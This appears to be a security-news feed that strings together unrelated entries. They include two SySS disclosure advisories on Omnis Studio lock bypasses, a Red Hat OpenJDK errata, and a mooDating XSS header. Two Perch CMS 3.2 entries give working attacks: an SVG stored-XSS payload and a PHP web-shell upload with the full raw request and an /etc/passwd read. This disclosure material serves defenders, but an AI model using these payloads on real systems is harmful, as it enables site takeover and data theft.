jSQL Injection is a lightweight application used to find database information from a distant server. jSQL Injection is also part of the official penetration testing distribution Kali Linux and is included in various other distributions like Pentest Box, Parrot Security OS, ArchStrike and BlackArch Linux. This is the source code release.

jSQL Injection 0.89

Omnis Studio version 10.22.00 suffers from a locked class bypass vulnerability.

Advisory ID:               SYSS-2023-006  
Product:                   Omnis Studio  
Manufacturer:              Omnis Software Ltd.  
Affected Version(s):       10.22.00  
Tested Version(s):         10.22.00  
Vulnerability Type:        Expected Behavior Violation (CWE-440)  
Risk Level:                Low  
Solution Status:           Open  
Manufacturer Notification: 2023-03-30  
Solution Date:             -  
Public Disclosure:         2023-07-20  
CVE Reference:             CVE-2023-38334  
Author of Advisory:        Matthias Deeg (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Omnis Studio is a rapid application development tool for developing  
cross-platform software applications.

The manufacturer describes the product as follows:

"Omnis Studio is a powerful development environment that lets you deploy  
apps to virtually any device, on any platform, including tablets,  
smartphones, and desktop computers."[1]

Due to implementation issues, locked classes in Omnis libraries can be  
unlocked and thus further analyzed and modified via the Omnis Studio  
browser.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

Omnis Studio supports an irreversible feature for locking classes within  
Omnis libraries.

According to the Omnis Studio software, it should be no longer possible  
to delete, view, change, copy, rename, duplicate, or print a locked  
class.

However, during a security analysis of an application developed with  
Omnis Studio using this feature, Matthias Deeg found out that it is  
possible to unlock previously locked classes of Omnis libraries, for  
instance by simply bypassing specific checks in Omnis Studio.

This allows for further analyzing and also deleting, viewing, changing,  
copying, renaming, duplicating, or printing previously locked Omnis  
classes.

This violates the expected behavior of an "irreversible operation".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

For demonstrating the described security issue, Matthias Deeg developed  
a proof-of-concept software tool which allows unlocking locked classes  
within Omnis libraries and further analyzing and modifying them within  
Omnis Studio.

 >OmnisUnlocker.exe

 _____________________________________________________________  
                /    _____       _____ _____   
      \  
               /    /  ___|     /  ___/  ___|   
       \  
              |     \ `--. _   _\ `--.\ `--.   
        |  
              |      `--. \ | | |`--. \`--. \   
        |  
              |     /\__/ / |_| /\__/ /\__/ /   
        |  
               \    \____/ \__, \____/\____/   ... unlocks Omnis Studio!   
       /  
                \          __/ |   
      /  
                /         |___/   
__________________________________________/  
               / _________________/  
         (__) /_/  
         (oo)  
   /------\/  
  / |____||  
*  ||   ||  
    ^^   ^^  
SySS Omnis Unlocker v1.0 by Matthias Deeg <matthias.deeg@syss.de> - (c) 2023

[+] The Omnis Studio process was patched successfully.  
     Now you can:  
         * load private Omnis libraries in the browser, and  
         * analyze locked classes.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

SySS GmbH is not aware of a solution for the described security issue.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2023-03-30: Vulnerability reported to manufacturer  
2023-04-06: Vulnerability reported to manufacturer again  
2023-07-20: Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Omnis Studio  
     https://www.omnis.net/  
[2] SySS Security Advisory SYSS-2023-006

 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-006.txt  
[3] SySS GmbH, SySS Responsible Disclosure Policy  
     https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Matthias Deeg of SySS GmbH.

E-Mail: matthias.deeg (at) syss.de  
Public Key:   
https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc  
Key Fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en

Omnis Studio 10.22.00 Library Unlock

Omnis Studio version 10.22.00 suffers from a private library access bypass vulnerability.

Advisory ID:               SYSS-2023-005  
Product:                   Omnis Studio  
Manufacturer:              Omnis Software Ltd.  
Affected Version(s):       10.22.00  
Tested Version(s):         10.22.00  
Vulnerability Type:        Expected Behavior Violation (CWE-440)  
Risk Level:                Low  
Solution Status:           Open  
Manufacturer Notification: 2023-03-30  
Solution Date:             -  
Public Disclosure:         2023-07-20  
CVE Reference:             CVE-2023-38335  
Author of Advisory:        Matthias Deeg (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Omnis Studio is a rapid application development tool for developing  
cross-platform software applications.

The manufacturer describes the product as follows:

"Omnis Studio is a powerful development environment that lets you deploy  
apps to virtually any device, on any platform, including tablets,  
smartphones, and desktop computers." [1]

Due to implementation issues, "always private" Omnis libraries can be  
opened by the Omnis Studio browser.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

Omnis Studio supports a feature for making Omnis libraries "always  
private".

Making an Omnis library "always private" is supposed to be an  
irreversible operation according to the Omnis Studio software.

However, during a security analysis of an application developed with  
Omnis Studio using this feature, Matthias Deeg found out that it is  
still possible to load "always private" Omnis libraries with the Omnis  
Studio browser by simply bypassing a specific check.

This violates the expected behavior of an "irreversible operation".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

For demonstrating the described security issue, Matthias Deeg developed  
a proof-of-concept software tool which allows loading private Omnis  
libraries in the Omnis Studio browser.

 >OmnisUnlocker.exe

 _____________________________________________________________  
                /    _____       _____ _____   
      \  
               /    /  ___|     /  ___/  ___|   
       \  
              |     \ `--. _   _\ `--.\ `--.   
        |  
              |      `--. \ | | |`--. \`--. \   
        |  
              |     /\__/ / |_| /\__/ /\__/ /   
        |  
               \    \____/ \__, \____/\____/   ... unlocks Omnis Studio!   
       /  
                \          __/ |   
      /  
                /         |___/   
__________________________________________/  
               / _________________/  
         (__) /_/  
         (oo)  
   /------\/  
  / |____||  
*  ||   ||  
    ^^   ^^  
SySS Omnis Unlocker v1.0 by Matthias Deeg <matthias.deeg@syss.de> - (c) 2023

[+] The Omnis Studio process was patched successfully.  
     Now you can:  
         * load private Omnis libraries in the browser, and  
         * analyze locked classes.

This security issue is also demonstrated in our SySS Proof of Concept  
Video "Reversing the Irreversible - Part I" on our YouTube channel [3].

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

SySS GmbH is not aware of a solution for the described security issue.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2023-03-30: Vulnerability reported to manufacturer  
2023-04-06: Vulnerability reported to manufacturer again  
2023-07-20: Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Omnis Studio  
     https://www.omnis.net/  
[2] SySS Security Advisory SYSS-2023-005

 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-005.txt  
[3] SySS Proof of Concept Video: Reversing the Irreversible - Part I  
     https://www.youtube.com/watch?v=2fjMgPqjobQ  
[4] SySS GmbH, SySS Responsible Disclosure Policy  
     https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Matthias Deeg of SySS GmbH.

E-Mail: matthias.deeg (at) syss.de  
Public Key:   
https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc  
Key Fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en

Omnis Studio 10.22.00 Library Setting Bypass

Perch version 3.2 suffers from a cross site scripting vulnerability.

    Exploit Title: Perch v3.2 - Stored XSSApplication: Perch CmsVersion: v3.2Bugs:  XSSTechnology: PHPVendor URL: https://grabaperch.com/Software Link: https://grabaperch.com/downloadDate of found: 21.07.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1. login to account2. go to http://localhost/perch_v3.2/perch/core/settings/3. upload svg file"""<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>"""4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)

Perch 3.2 Cross Site Scripting

Perch version 3.2 suffers from a remote code execution vulnerability.

    Exploit Title: Perch v3.2 - Remote Code Execution (RCE)Application: Perch CmsVersion: v3.2Bugs:  RCETechnology: PHPVendor URL: https://grabaperch.com/Software Link: https://grabaperch.com/downloadDate of found: 21.07.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1. login to account as admin2. go to visit assets (http://localhost/perch_v3.2/perch/core/apps/assets/)3. add assets (http://localhost/perch_v3.2/perch/core/apps/assets/edit/)4. upload poc.phar filepoc.phar file contents :<?php $a=$_GET['code']; echo system($a);?>5. visit  http://localhost/perch_v3.2/perch/resources/admin/poc.phar?code=cat%20/etc/passwdpoc request: POST /perch_v3.2/perch/core/apps/assets/edit/ HTTP/1.1Host: localhostContent-Length: 1071Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryYGoerZn09hHSjd4ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/perch_v3.2/perch/core/apps/assets/edit/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: phpwcmsBELang=en; cmsa=1; PHPSESSID=689rdj63voor49dcfm9rdpolc9Connection: close------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="resourceTitle"test------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="image"; filename="poc.phar"Content-Type: application/octet-stream<?php $a=$_GET['code']; echo system($a);?>------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="image_field"1------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="image_assetID"------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="resourceBucket"admin------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="tags"test------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="btnsubmit"Submit------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="formaction"edit------WebKitFormBoundaryYGoerZn09hHSjd4ZContent-Disposition: form-data; name="token"5494af3e8dbe5ac399ca7f12219cfe82------WebKitFormBoundaryYGoerZn09hHSjd4Z--

Perch 3.2 Remote Code Execution

Red Hat Security Advisory 2023-4233-01 - The java-11-openjdk packages provide the OpenJDK 11 Java Runtime Environment and the OpenJDK 11 Java Software Development Kit. Issues addressed include denial of service and integer overflow vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: java-11-openjdk security and bug fix update  
Advisory ID:       RHSA-2023:4233-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4233  
Issue date:        2023-07-21  
CVE Names:         CVE-2023-22006 CVE-2023-22036 CVE-2023-22041   
                   CVE-2023-22045 CVE-2023-22049 CVE-2023-25193   
=====================================================================

1. Summary:

An update for java-11-openjdk is now available for Red Hat Enterprise Linux  
7.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64  
Red Hat Enterprise Linux Client Optional (v. 7) - x86_64  
Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64  
Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux Workstation (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

3. Description:

The java-11-openjdk packages provide the OpenJDK 11 Java Runtime  
Environment and the OpenJDK 11 Java Software Development Kit.

Security Fix(es):

* OpenJDK: ZIP file parsing infinite loop (8302483) (CVE-2023-22036)

* OpenJDK: weakness in AES implementation (8308682) (CVE-2023-22041)

* OpenJDK: improper handling of slash characters in URI-to-path conversion  
(8305312) (CVE-2023-22049)

* harfbuzz: OpenJDK: O(n^2) growth via consecutive marks (CVE-2023-25193)

* OpenJDK: HTTP client insufficient file name validation (8302475)  
(CVE-2023-22006)

* OpenJDK: array indexing integer overflow issue (8304468) (CVE-2023-22045)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

Bug Fix(es):

* Prepare for the next quarterly OpenJDK upstream release (2023-07,  
11.0.20) (BZ#2217709)

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of OpenJDK Java must be restarted for this update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2167254 - CVE-2023-25193 harfbuzz: allows attackers to trigger O(n^2) growth via consecutive marks  
2217709 - Prepare for the next quarterly OpenJDK upstream release (2023-07, 11.0.20) [rhel-7.9.z]  
2221619 - OpenJDK: font processing denial of service vulnerability (8301998)  
2221626 - CVE-2023-22006 OpenJDK: HTTP client insufficient file name validation (8302475)  
2221634 - CVE-2023-22036 OpenJDK: ZIP file parsing infinite loop (8302483)  
2221645 - CVE-2023-22045 OpenJDK: array indexing integer overflow issue (8304468)  
2221647 - CVE-2023-22049 OpenJDK: improper handling of slash characters in URI-to-path conversion (8305312)  
2223207 - CVE-2023-22041 OpenJDK: weakness in AES implementation (8308682)

6. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source:  
java-11-openjdk-11.0.20.0.8-1.el7_9.src.rpm

x86_64:  
java-11-openjdk-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64:  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux ComputeNode (v. 7):

Source:  
java-11-openjdk-11.0.20.0.8-1.el7_9.src.rpm

x86_64:  
java-11-openjdk-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux ComputeNode Optional (v. 7):

x86_64:  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Server (v. 7):

Source:  
java-11-openjdk-11.0.20.0.8-1.el7_9.src.rpm

ppc64:  
java-11-openjdk-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.ppc64.rpm

ppc64le:  
java-11-openjdk-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.ppc64le.rpm

s390x:  
java-11-openjdk-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.s390x.rpm

x86_64:  
java-11-openjdk-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

ppc64:  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.ppc64.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.ppc64.rpm

ppc64le:  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.ppc64le.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.ppc64le.rpm

s390x:  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.s390x.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.s390x.rpm

x86_64:  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
java-11-openjdk-11.0.20.0.8-1.el7_9.src.rpm

x86_64:  
java-11-openjdk-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-devel-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-headless-11.0.20.0.8-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64:  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-debuginfo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-demo-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-javadoc-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-javadoc-zip-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-jmods-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-src-11.0.20.0.8-1.el7_9.x86_64.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.i686.rpm  
java-11-openjdk-static-libs-11.0.20.0.8-1.el7_9.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-22006  
https://access.redhat.com/security/cve/CVE-2023-22036  
https://access.redhat.com/security/cve/CVE-2023-22041  
https://access.redhat.com/security/cve/CVE-2023-22045  
https://access.redhat.com/security/cve/CVE-2023-22049  
https://access.redhat.com/security/cve/CVE-2023-25193  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJkuya3AAoJENzjgjWX9erEzywQAJf0VbJx1FifN7/tPKjZTKad  
h0kviRaakxcUNBNRm/+PNTZ5mAdOsngIj0k4GPmlNFs575V0Ey0HWvJwKyd8WGwN  
Ga/WyXd2gfUgQFfrVeGC8hP0nSMSEnxqWwdRe+e0kFOdEkp9DtjRsb/fz5k6iM2i  
bIF5y2df9GCtbg984WhenwXB8037iwW440/krIuyUtQnhgZM/LavHPJ3qGQXbR86  
l5fqUNhh/L6cpmgYYOwKVXOX/HLZ1yuJehk6XXa6Rk/GiAbCV45Hj+6vb8LyYLxZ  
2trU+WGkczvWCD/+w5y6VKoViy7GIn0mlRnixM976uamc81S5B7Bx+CNqGJV+Xdv  
WwtHTTkLPfgiL+eBTtvt+iFSUkYE+MvtpjrTbOou53t2z/HfWNpbmeZ25dPqS97L  
k3INwBTrhWVbwCqvsQxRm1fY2wKnP4RFokA12tIyVCcZ1xlK3g5MbZvIaS3Y1pEV  
Os+2sS2c9xyCNJFgpN0Hwb1vUhgGaqmjUrWO7grsquh9akuPStYWfhLcJdfYdkls  
DLg3NoR8AgudlPWC7UzsnGkshjULEj2EHQWc4uXRz3nbz6AOj7zCO0KHOjDM9cWb  
GRm+nSVf0oTWkmo0C1ioTZTQOn/mpEqznZCp1CKhOV41guFFwaEimwbcZsAu/mMi  
76+lvc1FKNomzJxJWBF6  
=/hvE  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4233-01

mooDating version 1.2 suffers from a cross site scripting vulnerability.

# Exploit Title: mooDating 1.2 - Reflected XSS  
# Exploit Author: CraCkEr aka (skalvin)  
# Date: 22/07/2023  
# Vendor: mooSocial  
# Vendor Homepage: https://moodatingscript.com/  
# Software Link: https://demo.moodatingscript.com/home  
# Tested on: Windows 10 Pro  
# Impact: Manipulate the content of the site  
# CVE: CVE-2023-3849 - CVE-2023-3848 - CVE-2023-3847 - CVE-2023-3846  
